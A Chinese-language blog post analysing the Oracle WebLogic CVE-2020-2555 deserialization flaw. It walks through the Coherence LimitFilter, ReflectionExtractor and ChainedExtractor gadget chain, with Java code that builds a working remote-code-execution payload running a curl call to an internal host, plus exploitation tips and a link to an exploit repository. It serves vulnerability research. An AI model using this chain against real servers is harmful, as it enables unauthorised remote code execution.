Weblogic 简直是个无底洞.
2020.03.06 早上4点,看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告,在推特上搜了一波,发现有详细的分析文章,遂有此文。
漏洞分析
个人研究,没钱买补丁,这里借用Zero Day的图。
补丁中将LimitFilter
类的toString()
方法中的extract()
方法调用全部移除,而我们需要知道在CommonsCollections5中可以利用BadAttributeValueExpException
来调用任意类的toString()
方法。
接着来看下没打补丁之前LimitFilter
类的toString()
方法。
1public String toString() {
2 StringBuilder sb = new StringBuilder("LimitFilter: (");
3 sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
4 if (this.m_comparator instanceof ValueExtractor) {
5 ValueExtractor extractor = (ValueExtractor)this.m_comparator;
6 sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
7 } else if (this.m_comparator != null) {
8 sb.append(", comparator=").append(this.m_comparator);
9 }
10
11 sb.append("])");
12 return sb.toString();
13}
toString()
中会将this.m_oAnchorTop
和this.m_oAnchorBottom
作为参数传入ValueExtractor.extract()
,补丁移除了extractor.extract()
操作,跟进extract()
看下,发现extract()
只是一个抽象方法,并没有实现,那说明extract()
在ValueExtractor
的子类中可以利用。因为是反序列化,所以我们只需要在ValueExtractor
子类中找到实现了Serializable
或者ExternalizableLite
反序列化接口并且有extract()
的方法。最终在com.tangosol.util.extractor.ReflectionExtractor#extract()
找到了反射任意方法调用。
1public E extract(T oTarget) {
2 if (oTarget == null) {
3 return null;
4 } else {
5 Class clz = oTarget.getClass();
6
7 try {
8 Method method = this.m_methodPrev;
9 if (method == null || method.getDeclaringClass() != clz) {
10 this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
11 }
12
13 return method.invoke(oTarget, this.m_aoParam);
14 } catch (NullPointerException var4) {
15 throw new RuntimeException(this.suggestExtractFailureCause(clz));
16 } catch (Exception var5) {
17 throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
18 }
19 }
20}
到现在为止我们可以传入一个Runtime.getRuntime()
的oTarget
,将this.m_methodPrev
赋值为exec,然后this.m_aoParam
就是我们的命令参数,就可以RCE了。而对于反序列化而言,我们需要继续构建对象,让他自己执行Runtime.getRuntime()
,这里很像cc链中的InvokerTransformer.transform()
,那有没有像cc链中的ChainedTransformer
类呢。遂找到了com.tangosol.util.extractor.ChainedExtractor#extract()
1@JsonbCreator
2public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
3 super(aExtractor);
4 this.m_nTarget = this.computeTarget();
5}
6public E extract(Object oTarget) {
7 ValueExtractor[] aExtractor = this.getExtractors();
8 int i = 0;
9
10 for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
11 oTarget = aExtractor[i].extract(oTarget);
12 }
13
14 return oTarget;
15}
和cc5的构造很像,我们一步一步构造下
1// Runtime.class.getRuntime()
2ReflectionExtractor extractor1 = new ReflectionExtractor(
3 "getMethod",
4 new Object[]{"getRuntime", new Class[0]}
5
6);
7
8// get invoke() to execute exec()
9ReflectionExtractor extractor2 = new ReflectionExtractor(
10 "invoke",
11 new Object[]{null, new Object[0]}
12
13);
14
15// invoke("exec","calc")
16ReflectionExtractor extractor3 = new ReflectionExtractor(
17 "exec",
18 new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
19);
首先先构造三个ReflectionExtractor
对象来调用反射拿到我们想要的,然后把他放到ReflectionExtractor
数组中,将数组通过构造函数赋值给ChainedExtractor
。
1ReflectionExtractor[] extractors = {
2 extractor1,
3 extractor2,
4 extractor3,
5};
6
7ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
那到目前为止,只要反序列化执行了chainedExtractor.extract()
就可以造成rce。而前文所说,toString()
中是执行了extract()
的,所以我们将chainedExtractor
通过反射赋值给limitFilter
对象。然后通过BadAttributeValueExpException
触发limitFilter
对象的toString()
,进而触发extract()
一步一步调用method.invoke()
,继而通过反射拿到Runtime.getRuntime().exec("")
,达成RCE。
坑
coherence.jar
要使用和目标版本一致的,不然会有serialVersionUID
不一致的问题。BadAttributeValueExpException
对jdk的版本有要求。具体看这里
漏洞利用
https://github.com/Y4er/CVE-2020-2555
参考
- https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
- https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76
- https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论